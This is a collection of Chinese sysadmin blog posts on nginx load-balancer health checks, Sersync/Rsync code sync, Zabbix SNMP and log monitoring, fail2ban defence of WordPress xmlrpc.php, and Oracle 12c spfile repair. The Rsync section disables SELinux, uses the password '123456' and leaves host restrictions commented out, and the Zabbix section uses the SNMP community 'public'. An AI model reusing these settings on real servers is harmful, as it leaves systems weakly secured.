        server 192.168.10.24:8082 weight=3 max_fails=3 fail_timeout=20s;
    }
    
    server {
        listen  80;
        
        location / {
            proxy_pass http://ls;
        }
    }
}
复制代码

# 这是一个最简配的 Nginx 配置文件,定义了一个负载均衡池,池中有三台服务器,权重分别是 1、2、3 ( 越大越高 )
# 最大失败次数 3 次,超过 3 次失败后,20 秒内不检测。

# 当用户访问该 IP 的 80 端口时,被转发到后端的服务器。下面是一些反向代理的配置。

复制代码
# 故障转移策略,当后端服务器返回如下错误时,自动负载到后端其余机器
proxy_next_upstream http_500 http_502 http_503 error timeout invalid_header;
# 设置后端服务器获取用户真实IP、代理者真实IP等
proxy_redirect off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
# 用于指定客户端请求主体缓存区大小,可以理解成先保存到本地再传给用户
client_body_buffer_size 128k;
# 表示与后端服务器连接的超时时间,即发起握手等侯响应的超时时间
proxy_connect_timeout 90;
# 表示后端服务器的数据回传时间,即在规定时间之后端服务器必须传完所有的数据,否则 Nginx 将断开这个连接
proxy_send_timeout 90;
# 设置 Nginx 从代理的后端服务器获取信息的时间,表示连接建立成功后,Nginx 等待后端服务器的响应时间,其实是 Nginx 已经进入后端的排队中等候处理的时间
proxy_read_timeout 90;
# 设置缓冲区大小,默认该缓冲区大小等于指令 proxy_buffers 设置的大小
proxy_buffer_size 4k;
# 设置缓冲区的数量和大小。Nginx 从代理的后端服务器获取的响应信息,会放置到缓冲区
proxy_buffers 4 32k;
# 用于设置系统很忙时可以使用的 proxy_buffers 大小,官方推荐大小为 proxu_buffers 的两倍
proxy_busy_buffers_size 64k;
# 指定 proxy 缓存临时文件的大小
proxy_temp_file_write_size 64k;
复制代码
复制代码
shell > /usr/local/nginx-1.12.2/sbin/nginx -t
nginx: the configuration file /usr/local/nginx-1.12.2/conf/nginx.conf syntax is ok
nginx: configuration file /usr/local/nginx-1.12.2/conf/nginx.conf test is successful

shell > /usr/local/nginx-1.12.2/sbin/nginx

shell > i=0; while [ $i -lt 10 ];do curl localhost; let i++;done
welcome to tomcat2
welcome to tomcat3
welcome to tomcat3
welcome to tomcat2
welcome to tomcat1
welcome to tomcat3
welcome to tomcat2
welcome to tomcat3
welcome to tomcat3
welcome to tomcat2
复制代码

# 总共请求10次,tomcat3 响应了5次,因为它的权重最高(weight=3)。

# 这样有一个问题,由于没有后端检测功能,当后端某一服务器无法提供服务时,该链接先被转发到这台机器,然后发现该机故障,而后才转发到其它机器。

# 导致资源浪费。

二、nginx_http_upstream_check_module

复制代码
shell > git clone https://github.com/yaoweibin/nginx_upstream_check_module.git

shell > yum -y install patch

shell > cd /usr/local/src/nginx-1.12.2; patch -p1 < /usr/local/src/nginx_upstream_check_module/check_1.12.1+.patch
patching file src/http/modules/ngx_http_upstream_hash_module.c
patching file src/http/modules/ngx_http_upstream_ip_hash_module.c
patching file src/http/modules/ngx_http_upstream_least_conn_module.c
patching file src/http/ngx_http_upstream_round_robin.c
patching file src/http/ngx_http_upstream_round_robin.h
复制代码

# 切换到 Nginx 源码目录,打补丁 ( 注意与自己的 Nginx 版本匹配 )

shell > ./configure --prefix=/usr/local/nginx-1.12.2 --add-module=/usr/local/src/nginx_upstream_check_module
shell > make && make install

# 重新编译、安装 Nginx,注意加上原来的编译参数

复制代码
shell > vim /usr/local/nginx-1.12.2/conf/nginx.conf

    upstream ls {
        server 192.168.10.24:8080;
        server 192.168.10.24:8081;
        server 192.168.10.24:8082;

        check interval=3000 rise=2 fall=5 timeout=1000 type=http;
    }

    server {
        listen  80;

        location / {
            proxy_pass http://ls;
        }

        location /status {
            check_status;
            access_log off;
            # allow x.x.x.x;
            # deny all;
        }
    }
复制代码

# 去掉了权重值,注意:是可以同时存在的。
# 添加了一行,检测间隔3000毫秒,连续成功2次标记为UP,连续失败5次标记为DOWN,超时时间1000毫秒,检测类型HTTP。

shell > /usr/local/nginx-1.12.2/sbin/nginx -t
nginx: the configuration file /usr/local/nginx-1.12.2/conf/nginx.conf syntax is ok
nginx: configuration file /usr/local/nginx-1.12.2/conf/nginx.conf test is successful

shell > /usr/local/nginx-1.12.2/sbin/nginx -s stop
shell > /usr/local/nginx-1.12.2/sbin/nginx

# 直接 -s reload 貌似不行~

复制代码
shell > curl localhost/status?format=json
{"servers": {
  "total": 3,
  "generation": 1,
  "server": [
    {"index": 0, "upstream": "ls", "name": "192.168.10.24:8080", "status": "up", "rise": 20, "fall": 0, "type": "http", "port": 0},
    {"index": 1, "upstream": "ls", "name": "192.168.10.24:8081", "status": "up", "rise": 18, "fall": 0, "type": "http", "port": 0},
    {"index": 2, "upstream": "ls", "name": "192.168.10.24:8082", "status": "up", "rise": 19, "fall": 0, "type": "http", "port": 0}
  ]
}}
复制代码

# 总共有三台机器,都属于负载均衡 ls 组,状态 up,连续成功次数等等。

复制代码
shell > curl localhost/status?format=json
{"servers": {
  "total": 3,
  "generation": 1,
  "server": [
    {"index": 0, "upstream": "ls", "name": "192.168.10.24:8080", "status": "up", "rise": 73, "fall": 0, "type": "http", "port": 0},
    {"index": 1, "upstream": "ls", "name": "192.168.10.24:8081", "status": "down", "rise": 0, "fall": 6, "type": "http", "port": 0},
    {"index": 2, "upstream": "ls", "name": "192.168.10.24:8082", "status": "up", "rise": 68, "fall": 0, "type": "http", "port": 0}
  ]
}}
复制代码

# 关一台后端的话,就变成了这样!重启检测成功后,会被重新加入到负载均衡中!

Sersync + Rsync 代码分发,自动实时同步

$
0
0

Sersync + Rsync 代码分发


简介:

Sersync 是基于 inotify 来编写的 Linux 系统文件监控工具,当监控到文件发生变化时,调用 rsync 同步文件。

类似的功能,以前有用 rsync + inotify 实现过,这次来使用一下这个同步更迅速、功能更完善的 Sersync 。

一、代码分发服务器上安装 Sersync 、Rsync

shell > cd /usr/local/src
shell > wget https://github.com/wsgzao/sersync/archive/master.zip
shell > unzip master.zip
shell > cd sersync-master && ls
inotify-tools-3.14.tar.gz  README.md  rsync-3.1.1.tar.gz  sersync2.5.4_64bit_binary_stable_final.tar.gz

# 来到这里,你只要看一眼 README.md 你就啥都懂了

> Rsync

shell > tar zxf rsync-3.1.1.tar.gz
shell > cd rsync-3.1.1
shell > ./configure; make; make install

> Inotify-tools

shell > tar zxf inotify-tools-3.14.tar.gz
shell > cd inotify-tools-3.14
shell > ./configure; make; make install

> Sersync ( 监控同步目录变化,调用 Rsync 同步数据 )

shell > tar zxf sersync2.5.4_64bit_binary_stable_final.tar.gz
shell > mv GNU-Linux-x86 /usr/local/sersync

# 安装完毕

二、节点服务器安装、配置 Rsync

复制代码
shell > cd /usr/local/src
shell > wget  http://rsync.samba.org/ftp/rsync/src/rsync-3.1.1.tar.gz
shell > tar zxf rsync-3.1.1.tar.gz
shell > cd rsync-3.1.1
shell > ./configure; make; make install

shell > vim /etc/rsyncd.conf

uid = www-data
gid = www-data

log file = /var/log/rsyncd.log

list = false
read only = no
use chroot = no
ignore errors = yes
max connections = 36000

auth users = rsync
secrets file = /etc/rsync.pass

# hosts allow = 192.168.1.80
# hosts deny = *

# 认证的模块名
[web1]
comment = web1
path = /data/webroot/web1

[web2]
comment = web2
path = /data/webroot/web2

shell > useradd -r -s /sbin/nologin www-data
shell > mkdir -p /data/webroot/{web1,web2}
shell > chown -R www-data.www-data /data/webroot

shell > echo "rsync:123456" > /etc/rsync.pass
shell > chmod 600 /etc/rsync.pass

shell > setenforce 0             # 关闭 SELinux
shell > vim /etc/selinux/config  # 永久
SELINUX=disabled  # 原 enforcing
SELINUXTYPE=targeted

# 另外防火墙开放 TCP 873

shell > rsync -4 --daemon  # 以守护进程方式启动,-4 只监听 IPV4
shell > echo "/usr/local/bin/rsync -4 --daemon" >> /etc/rc.local  # 加入开机启动
复制代码

三、代码同步服务器测试 Rsync,配置 Sersync

1、测试 Rsync 数据同步

shell > rsync -av --delete /data/webroot/web1/ rsync@192.168.1.30::web1  # 将 web1 目录下的文件同步到 1.30 web1 模块指定的目录下
password:

# 输入密码:123456,采用下面的方法,不需要手动输入密码

shell > echo "123456" > /etc/rsyncd.pass
shell > chmod 600 /etc/rsyncd.pass

shell > rsync -av --delete --password-file=/etc/rsyncd.pass /data/webroot/web1/ rsync@192.168.1.30::web1 

# 注意同步目录及子目录、文件权限,设为 www-data、注意认证密码文件。

2、配置 Sersync

复制代码
shell > cd /usr/local/sersync
shell > cp confxml.xml web1.xml

shell > vim web1.xml  # 编辑配置文件

    <sersync>
        <localpath watch="/data/webroot/web1">
            <remote ip="192.168.1.30" name="web1"/>
        </localpath>
        <rsync>
            <commonParams params="-artuz"/>
            <auth start="false" users="root" passwordfile="/etc/rsync.pas"/>
            <userDefinedPort start="false" port="874"/><!-- port=874 -->
            <timeout start="false" time="100"/><!-- timeout=100 -->
            <ssh start="false"/>
        </rsync>
        <failLog path="/tmp/rsync_fail_log.sh" timeToExecute="60"/><!--default every 60mins execute once-->
        <crontab start="false" schedule="600"><!--600mins-->
            <crontabfilter start="false">
                <exclude expression="*.php"></exclude>
                <exclude expression="info/*"></exclude>
            </crontabfilter>
        </crontab>
复制代码

# <localpath watch="/data/webroot/web1"> # 需要同步的目录
# <remote ip="192.168.1.30" name="web1"/> # 同步主机,认证模块名 ( 可以写多条 )
# <commonParams params="-artuz"/> # Rsync 同步参数
# <auth start="false" users="root" passwordfile="/etc/rsync.pas"/> # 是否开启认证,客户端开启认证,需设为 true,填写认证用户、密码文件路径
# <failLog path="/tmp/rsync_fail_log.sh" timeToExecute="60"/> # 失败日志记录
# <crontab start="false" schedule="600"> # 自带任务计划,多长时间自动同步数据,默认关闭

3、运行 Sersync

shell > nohup /usr/local/sersync/sersync2 -r -d -n 12 -o /usr/local/sersync/web1.xml > /usr/local/sersync/logs/rsync_web1.log 2>&1 &

# -r 启动监控前,将监控目录与远程主机同步一次
# -d 启用守护进程模式
# -n 开启同步进程的数量,默认 10 个
# -o 指定配置文件,默认 confxml.xml

# 多个监控目录,指定不同的配置文件,开启多个进程。

四、测试 Sersync + Rsync

# 代码分发服务器上,监控目录内创建文件(修改权限),增加文件内容,查看节点服务器有没有同步数据。
# 删除文件、创建目录、删除目录

# 测试发现,如果同步目录内文件权限不为 www-data,该文件可以同步到节点服务器,但是追加文件内容,则无法同步。
# 注意文件权限。

# 一个完整的流程:开发同事将代码提交到版本库-->点击上线-->数据同步到线上代码分发服务器-->通过 Sersync + Rsync 分发到-->节点服务器

Zabbix 监控 Cisco ASA5525 流量,创建模板

$
0
0

Zabbix 监控 Cisco ASA5525 流量


简介:

Zabbix 监控 Cisco ASA5525 网络接口流量

一、Zabbix 支持 SNMP、Cisco 开启 SNMP

二、测试

复制代码
shell > snmpwalk -v 2c -c public 192.168.2.254 system  # 查看系统信息
SNMPv2-MIB::sysDescr.0 = STRING: Cisco Adaptive Security Appliance Version 8.6(1)2
SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.9.1.1408
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (3248815000) 376 days, 0:29:10.00
SNMPv2-MIB::sysContact.0 = STRING: 
SNMPv2-MIB::sysName.0 = STRING: ciscoasa
SNMPv2-MIB::sysLocation.0 = STRING: 
SNMPv2-MIB::sysServices.0 = INTEGER: 4
复制代码

# -v 指定版本,-c 指定共同体名,IP,指令

shell > snmpwalk -v 2c -c public 192.168.2.254 interface  # 查看接口信息

# IF-MIB::ifDescr 接口名称
# IF-MIB::ifType 类型
# IF-MIB::ifSpeed 速率
# IF-MIB::ifMtu MTU
# IF-MIB::ifPhysAddress MAC
# IF-MIB::ifAdminStatus 状态
# IF-MIB::ifInOctets 传输字节数

# 等

三、确认需要监控网络接口

复制代码
ciscoasa > show running-config interface
!
interface GigabitEthernet0/0
 duplex full
 nameif outside-1
 security-level 0
 ip address xx.xx.xx.xx 255.255.255.224 
复制代码

# Cisco ASA 查看发现,GigabitEthernet0/0 为 outside-1 即外网接口,且配置着公网IP

复制代码
shell > snmpwalk -v 2c -c public 192.168.2.254 ifDescr
IF-MIB::ifDescr.2 = STRING: Adaptive Security Appliance 'asa_mgmt_plane' interface
IF-MIB::ifDescr.3 = STRING: Adaptive Security Appliance 'outside-1' interface
IF-MIB::ifDescr.4 = STRING: Adaptive Security Appliance 'GigabitEthernet0/1' interface
IF-MIB::ifDescr.5 = STRING: Adaptive Security Appliance 'inside' interface
IF-MIB::ifDescr.6 = STRING: Adaptive Security Appliance 'GigabitEthernet0/3' interface
IF-MIB::ifDescr.7 = STRING: Adaptive Security Appliance 'GigabitEthernet0/4' interface
IF-MIB::ifDescr.8 = STRING: Adaptive Security Appliance 'GigabitEthernet0/5' interface
IF-MIB::ifDescr.9 = STRING: Adaptive Security Appliance 'GigabitEthernet0/6' interface
IF-MIB::ifDescr.10 = STRING: Adaptive Security Appliance 'GigabitEthernet0/7' interface
IF-MIB::ifDescr.11 = STRING: Adaptive Security Appliance 'Internal-Data0/1' interface
IF-MIB::ifDescr.12 = STRING: Adaptive Security Appliance 'cplane' interface
IF-MIB::ifDescr.13 = STRING: Adaptive Security Appliance 'mgmt_plane_int_tap' interface
IF-MIB::ifDescr.14 = STRING: Adaptive Security Appliance 'Management0/0' interface
IF-MIB::ifDescr.15 = STRING: Adaptive Security Appliance 'Virtual254' interface
复制代码

# 服务器上查找,返现 outside-1 对应的设备 ID 为 IF-MIB::ifDescr.3

shell > snmpwalk -v 2c -c public 192.168.2.254 IF-MIB::ifInOctets.3   # 外网口进方向
IF-MIB::ifInOctets.3 = Counter32: 2965376258

shell > snmpwalk -v 2c -c public 192.168.2.254 IF-MIB::ifOutOctets.3  # 外网口出方向
IF-MIB::ifOutOctets.3 = Counter32: 3522107956

四、创建主机、模板

1、主机

创建主机 -> SNMP 192.168.2.254 161 -> 创建

2、模板

复制代码
创建模板 -> 模板名称 Cisco -> 群组 Templates -> 创建

创建应用 -> network interface

创建监控项 -> 名称 GigabitEthernet0/0 - In
           -> 类型 SNMPv2 端点代理模式
           -> 键值 ifHCInOctets.3
           -> SNMP OID IF-MIB::ifHCInOctets.3
           -> SNMP community public
           -> 单位 bps
           -> 使用自定倍数 8
           -> 存储值 差量(每秒速率)
           -> 应用集 network interface
           -> 创建
复制代码

# 拿到的是 byte 要转换成 bit 即 bps,1 byte = 8 bit,所以要设置倍数为 8
# 照这样设置 GigabitEthernet0/0 - Out 即可,注意键值为 ifHCOutOctets.3,OID 为 OID IF-MIB::ifHCOutOctets.3

3、图形

创建图形 -> 名称 GigabitEthernet0/0 -> 加入监控项 -> 绘图风格 梯度线 -> 设置颜色 -> 创建

五、为主机添加模板

主机 -> 模板 -> 选择模板 -> Cisco -> 添加 -> 更新

Fail2ban防止WordPress受到xmlrpc.php CC攻击

$
0
0

Fail2ban防止WordPress受到xmlrpc.php CC攻击




  • 分析日志
  • 安装fail2ban和iptables
  • 设置fail2ban jail.local
  • 设置fail2ban 自定义filter
  • 设置fail2ban jail.local

WordPress本身是一个非常强大的CMS(内容管理系统),功能强大。但是也正是因为其强大的特性,使其很容易被利用,造成服务器的不稳定甚至崩溃。最容易遭受攻击的就是xmlrpc.php这个文件,攻击者只要每秒发送1个post请求到此文件,不出1分钟,一台512M内存Debian7系统的VPS就会崩溃,php进程和Mysql占用内存过高而导致无法访问。在尝试了网上流传的多个防攻击手段之后,fail2ban是效果最好的一个,下面就简单记录一下过程,供大家参考。

分析日志

在服务器出现异常的时候,首先去分析Nginx日志, /var/log/nginx/access.log ,从代码中可以发现如下可以IP不断发送Post请求到xmlrpc.php,每个IP的发送频率大概在2秒钟一次,严格来说频率并不高但足以让php和mysql进程崩溃。

185.188.204.16 - - [15/Jul/2017:23:51:07 -0400] "POST /xmlrpc.php HTTP/1.0" 502 574 "-" "*****"
185.188.204.6 - - [15/Jul/2017:23:51:08 -0400] "POST /xmlrpc.php HTTP/1.0" 499 0 "-" "*****"
185.188.204.8 - - [15/Jul/2017:23:51:08 -0400] "POST /xmlrpc.php HTTP/1.0" 502 574 "-" "*****"
185.188.204.14 - - [15/Jul/2017:23:51:08 -0400] "POST /xmlrpc.php HTTP/1.0" 499 0 "-" "*****"
185.188.204.16 - - [15/Jul/2017:23:51:08 -0400] "POST /xmlrpc.php HTTP/1.0" 502 574 "-" "*****"
185.188.204.7 - - [15/Jul/2017:23:51:08 -0400] "POST /xmlrpc.php HTTP/1.0" 502 574 "-" "*****"
185.188.204.12 - - [15/Jul/2017:23:51:09 -0400] "POST /xmlrpc.php HTTP/1.0" 499 0 "-" "*****"
185.188.204.11 - - [15/Jul/2017:23:51:09 -0400] "POST /xmlrpc.php HTTP/1.0" 502 574 "-" "*****"
185.188.204.15 - - [15/Jul/2017:23:51:09 -0400] "POST /xmlrpc.php HTTP/1.0" 502 574 "-" "*****"
185.188.204.11 - - [15/Jul/2017:23:51:09 -0400] "POST /xmlrpc.php HTTP/1.0" 502 574 "-" "*****"

安装fail2ban和iptables

安装fail2ban和iptables,这样能使用ipotables对攻击进行防御,想对于其它js和php的防御方式自动化更高,更为高效。

apt-get install fail2ban iptables

设置fail2ban jail.local

使用jail.local设定

cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
vi /etc/fail2ban/jail.local
[xmlrpc]
enabled = true
filter = xmlrpc
action = iptables[name=xmlrpc, port=http, protocol=tcp]
logpath = /var/log/nginx/access.log
bantime = 43600
maxretry = 2

设置fail2ban 自定义filter

vi /etc/fail2ban/filter.d/xmlrpc.conf
[Definition]
failregex = ^<HOST> .*POST .*xmlrpc\.php.*
ignoreregex =

设置fail2ban jail.local

设置好之后重启fail2ban服务既可生效

service fail2ban restart

查看fail2ban日志查看防御情况

tail -f /var/log/fail2ban.log
2017-07-15 23:51:38,265 fail2ban.jail   : INFO   Creating new jail 'ssh'
2017-07-15 23:51:38,266 fail2ban.jail   : INFO   Jail 'ssh' uses Gamin
2017-07-15 23:51:38,287 fail2ban.filter : INFO   Set maxRetry = 6
2017-07-15 23:51:38,288 fail2ban.filter : INFO   Set findtime = 600
2017-07-15 23:51:38,288 fail2ban.actions: INFO   Set banTime = 600
2017-07-15 23:51:38,320 fail2ban.jail   : INFO   Creating new jail 'xmlrpc'
2017-07-15 23:51:38,320 fail2ban.jail   : INFO   Jail 'xmlrpc' uses Gamin
2017-07-15 23:51:38,321 fail2ban.filter : INFO   Added logfile = /var/log/nginx/access.log
2017-07-15 23:51:38,322 fail2ban.filter : INFO   Set maxRetry = 2
2017-07-15 23:51:38,323 fail2ban.filter : INFO   Set findtime = 600
2017-07-15 23:51:38,323 fail2ban.actions: INFO   Set banTime = 43600
2017-07-15 23:51:38,328 fail2ban.jail   : INFO   Jail 'ssh' started
2017-07-15 23:51:38,329 fail2ban.jail   : INFO   Jail 'xmlrpc' started
# 以上日志显示自定义的xmlrpc filter已经生效
2017-07-15 23:51:45,350 fail2ban.actions: WARNING [xmlrpc] Ban 185.188.204.8
2017-07-15 23:51:45,361 fail2ban.actions: WARNING [xmlrpc] Ban 185.188.204.9
2017-07-15 23:51:45,368 fail2ban.actions: WARNING [xmlrpc] Ban 185.188.204.6
2017-07-15 23:51:45,376 fail2ban.actions: WARNING [xmlrpc] Ban 185.188.204.7
2017-07-15 23:51:45,382 fail2ban.actions: WARNING [xmlrpc] Ban 185.188.204.16
2017-07-15 23:51:45,387 fail2ban.actions: WARNING [xmlrpc] Ban 185.188.204.14
2017-07-15 23:51:45,392 fail2ban.actions: WARNING [xmlrpc] Ban 185.188.204.15
2017-07-15 23:51:45,400 fail2ban.actions: WARNING [xmlrpc] Ban 185.188.204.12
2017-07-15 23:51:45,415 fail2ban.actions: WARNING [xmlrpc] Ban 185.188.204.10
2017-07-15 23:51:45,426 fail2ban.actions: WARNING [xmlrpc] Ban 185.188.204.11
# 以上日志则显示成功防御对xmlrpc进行攻击的IP等情况

参考链接:https://rbgeek.wordpress.com/2014/09/11/block-wordpress-xmlprc-php-ddos-attacks-using-fail2ban/

WordPress插件:https://wordpress.org/plugins/wp-fail2ban/

Related posts:

  1. WordPress 启用HTTPS设置
  2. Wp Super Cache + Nginx规则
  3. Akismet:强大的反垃圾评论插件
  4. 浅谈博客的友情链接与链接
  5. WordPress移除静态资源版本号

使用zabbix根据时间监控多行格式的日志

$
0
0

我们目前想使用zabbix每五分钟监控一个错误日志文件,如果监控到有错误产生,就发邮件告警。像标准的访问日志,如nginx的access log,一行表示一条日志,解析起来比较容易,但当日志不是一行一条时,如tomcat,glassfish的日志,如下:
[2015-07-17T14:24:04.552+0800] [glassfish 4.0] [SEVERE] [AS-WEB-CORE-00037] [javax.enterprise.web.core] [tid: _ThreadID=26 _ThreadName=http-listener-1(3)] [timeMillis: 1437114244552] [levelValue: 1000] [[
An exception or error occurred in the container during the request processing
java.lang.IllegalArgumentException
at org.glassfish.grizzly.http.util.CookieParserUtils.parseClientCookies(CookieParserUtils.java:353)
at org.glassfish.grizzly.http.util.CookieParserUtils.parseClientCookies(CookieParserUtils.java:336)
at org.glassfish.grizzly.http.Cookies.processClientCookies(Cookies.java:220)
at org.glassfish.grizzly.http.Cookies.get(Cookies.java:131)
at org.glassfish.grizzly.http.server.Request.parseCookies(Request.java:1911)
at org.glassfish.grizzly.http.server.Request.getCookies(Request.java:1505)
at org.apache.catalina.connector.Request.parseSessionCookiesId(Request.java:4077)
at org.apache.catalina.connector.CoyoteAdapter.postParseRequest(CoyoteAdapter.java:649)
at org.apache.catalina.connector.CoyoteAdapter.doService(CoyoteAdapter.java:297)
]]

这个时候解析起来就相对复杂,我们可以使用如下脚本来取得最近五分钟的日志:

  1. #!/bin/bash
  2.  
  3. # 取得前5分钟时间
  4. LAST_MINUTE=$(date -d '-5 minute' +%H%M%S)
  5. # 初始化日志条数
  6. LOG_NUM=0
  7. # 最大获取日志条数
  8. MAX_LOG=3
  9. # 初始化最终匹配日志
  10. LOG_CONTENT=""
  11. # 初始化包含时间行的匹配值
  12. LOG_DATE_MATCH=false
  13. # 设置日志路径
  14. LOG_PATH="/data/log/glassfish/domain1/server.log"
  15.  
  16. while read line;do
  17.  
  18.      # 匹配包含时间的行
  19.      if echo "$line" | grep -q '^\[20';then
  20.           # 根据包含时间行获取出特定时间格式,如181320
  21.           date_time=$(echo $line | grep -E -o "[0-9]{2}:[0-9]{2}:[0-9]{2}" | tr -d ':')
  22.  
  23.           date_time=$(echo $date_time | sed 's/^0//')
  24.           LAST_MINUTES=$(echo $LAST_MINUTES | sed 's/^0//')
  25.           # 当前行的时间是否大于5分钟前的时间         
  26.           if [[ "$date_time" -gt "$LAST_MINUTE" ]];then
  27.                LOG_CONTENT="$LOG_CONTENT\n$log_entry"
  28.                ((LOG_NUM++))
  29.                LOG_DATE_MATCH=true
  30.                log_entry="$line\n"
  31.           else
  32.                LOG_DATE_MATCH=false
  33.                continue
  34.           fi
  35.  
  36.      else
  37.           # 只当前面日志时间满足条件时才设置log_entry值
  38.           if $LOG_DATE_MATCH;then
  39.                log_entry="$log_entry\n$line"
  40.           fi   
  41.      fi
  42.  
  43.      # 限制最大获取行数
  44.      if [[ "$LOG_NUM" -gt "$MAX_LOG" ]];then
  45.           break
  46.      fi
  47.  
  48. done < $LOG_PATH
  49.  
  50. # 输出全部日志
  51. echo -n -e "$LOG_CONTENT"

前面的脚本按顺序读取的,但当日志文件比较大时,获取日志的效率就非常低了,所以推荐下面倒序读取日志的方法,更高效。

  1. #!/bin/bash
  2.  
  3. # 取得前5分钟时间
  4. LAST_MINUTE=$(date -d '-5 minute' +%H%M%S)
  5. # 初始化日志条数
  6. LOG_NUM=0
  7. # 最大获取日志条数
  8. MAX_LOG=3
  9. # 初始化最终匹配日志
  10. LOG_CONTENT=""
  11. # 设置日志路径
  12. LOG_PATH="/data/log/glassfish/domain1/server.log"
  13.  
  14. while read line;do
  15.  
  16.      # 匹配包含时间的行
  17.      if echo "$line" | grep -q '^\[20';then
  18.           # 根据包含时间行获取出特定时间格式,如181320
  19.           date_time=$(echo $line | grep -E -o "[0-9]{2}:[0-9]{2}:[0-9]{2}" | tr -d ':')
  20.         
  21.           # 当前行的时间是否大于5分钟前的时间   
  22.           if [[ "$date_time" > "$LAST_MINUTE" ]];then
  23.                ((LOG_NUM++))
  24.                log_entry="$line\n$log_entry"
  25.                LOG_CONTENT="$LOG_CONTENT\n$log_entry"
  26.           else
  27.                break
  28.           fi
  29.  
  30.           log_entry=""
  31.  
  32.      else
  33.           log_entry="$line\n$log_entry"
  34.      fi
  35.  
  36.      # 限制最大获取行数
  37.      if [[ "$LOG_NUM" > "$MAX_LOG" ]];then
  38.           break
  39.      fi
  40.  
  41. done < <(tac $LOG_PATH)
  42.  
  43. # 输出全部日志
  44. echo -n -e "$LOG_CONTENT"

之后就可以在zabbix添加一个监控项用来获取日志内容,触发器就使用{itemName.strlen(0)}#0表达式来检测获取到的日志内容是否不为空。itemName为监控项名称。

oracle12c错误:ORA-00119,ORA-00136,ORA-00111

$
0
0

  之前修改了oracle 中的LISTENER_NETWORKS参数。

SQL> alter system set listener_networks='NULL' scope=spfile;


没想到重置oracle后,oracle实例就不能启动了。

SQL> startup

ORA-00119: invalid specification for system parameter LISTENER_NETWORKS

ORA-00136: invalid LISTENER_NETWORKS specification #1

ORA-00111: invalid attribute NETWORK


经查oracle告警文件,得到以下内容:

Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production.
ORACLE_HOME:    /data/oracle/app/product/12.2/db_1
System name:    Linux
Node name:      centos7
Release:        3.10.0-693.21.1.el7.x86_64
Version:        #1 SMP Wed Mar 7 19:03:37 UTC 2018
Machine:        x86_64
Using parameter settings in server-side spfile /data/oracle/app/product/12.2/db_1/dbs/spfileorcl12g.ora
System parameters with non-default values:
  processes                = 300
  nls_language             = "SIMPLIFIED CHINESE"
  nls_territory            = "CHINA"
  memory_target            = 784M
  control_files            = "/data/oracle/app/oradata/orcl12g/control01.ctl"
  control_files            = "/data/oracle/app/oradata/orcl12g/control02.ctl"
  db_block_size            = 8192
  compatible               = "12.2.0"
  undo_tablespace          = "UNDOTBS1"
  remote_login_passwordfile= "EXCLUSIVE"
  dispatchers              = "(PROTOCOL=TCP) (SERVICE=orcl12gXDB)"
  local_listener           = "LISTENER_ORCL12G"
  listener_networks        = "NULL"
  audit_file_dest          = "/data/oracle/app/admin/orcl12g/adump"
  audit_trail              = "DB"
  db_name                  = "orcl12g"
  open_cursors             = 300
  diagnostic_dest          = "/data/oracle/app"
  enable_pluggable_database= TRUE
NOTE: remote asm mode is local (mode 0x1; from cluster type)
2018-06-01T09:36:46.921346+08:00
============================================================
NOTE: PatchLevel of this instance 0
============================================================
USER (ospid: 49038): terminating the instance due to error 119


解决方法:

先用sqlplus 连接。手动指定使用pfile,启动oracle,第一个pfile没有启动成功,然后又找到另外一个pfile,启动成功了。

[oracle@centos7 ~]$ sqlplus  / as sysdba

SQL*Plus: Release 12.2.0.1.0 Production on 星期五 6月 1 09:42:44 2018

Copyright (c) 1982, 2016, Oracle.  All rights reserved.

已连接到空闲例程。

SQL> startup pfile='/data/oracle/app/product/12.2/db_1/dbs/init.ora';

ORA-00845: MEMORY_TARGET not supported on this system

内存配置不正确所以启动不了。spfile是memory_target = 784M,init.ora这里是1G。

可以手动修改init.ora,我这里使用另外一个文件。

SQL> startup mount pfile='/data/oracle/app/admin/orcl12g/pfile/init.ora.42201816225';

ORACLE 例程已经启动。

Total System Global Area  822083584 bytes
Fixed Size                  8798120 bytes
Variable Size             633339992 bytes
Database Buffers          171966464 bytes
Redo Buffers                7979008 bytes
数据库装载完毕。
SQL>


由于spfile是pfile编译而来的文件,不能文本编辑,

所以这里先可以直接先利用有问题的spfile生成pfile。

数据库未启动时也可以生成。

SQL>
SQL> create pfile='/data/oracle/app/product/12.2/db_1/dbs/pfile.ora' from spfile;

File created.


然后文本编辑pfile.ora,删除有问题的参数。

再使用pfile.ora 生成新spfile。

SQL> create spfile='/data/oracle/app/product/12.2/db_1/dbs/spfileorcl12g.ora' from pfile='/data/oracle/app/product/12.2/db_1/dbs/pfile.ora';

File created.

SQL> show parameter listen
ORA-01034: ORACLE not available
 ID: 0
 ID: 0 0

最后启动数据库,测试正常。
SQL> startup
ORACLE instance started.

Total System Global Area  822083584 bytes
Fixed Size                  8798120 bytes
Variable Size             591396952 bytes
Database Buffers          213909504 bytes
Redo Buffers                7979008 bytes


数据库已经打开。


查看参数已经为空或默认值。

SQL>
SQL> show parameter listen

NAME                                 TYPE        VALUE
------------------------------------ ----------- ------------------------------
listener_networks                    string
local_listener                       string      LISTENER_ORCL12G
remote_listener                      string
SQL>

Oracle 数据库监听Listener动态注册和静态注册

$
0
0
一 注册概述

注册就是将数据库作为一个服务注册到监听程序。客户端和数据库服务器建立连接时,监听程序通过已注册的服务名监听客户端的连接。启动数据库时,默认有两条信息注册到监听器中,分别为数据库服务器对应的实例和服务。通过对外提供的服务名,客户端不需要知道数据库名和实例名,只需知道该数据库对应的服务名就可以实现对数据库的连接,该服务名可能与实例名相同,也可以不相同。

二 动态注册

动态注册是在实例启动的时候,或使用命令Alter system register,或每隔一分钟,PMON进程会向监听进行动态注册,PMON进程根据init.ora中的instance_name,service_names两个参数将实例和服务动态注册到listener中。
查看service_names和instance_name。
  1. SQL> show parameter instance_name  
  2.   
  3. NAME                     TYPE    VALUE  
  4. ------------------------------------ ----------- ------------------------------  
  5. instance_name                string  orcl  
  6. SQL> show parameter service_names  
  7.   
  8. NAME                     TYPE    VALUE  
  9. ------------------------------------ ----------- ------------------------------  
  10. service_names                string  orcl  
  11. SQL>   
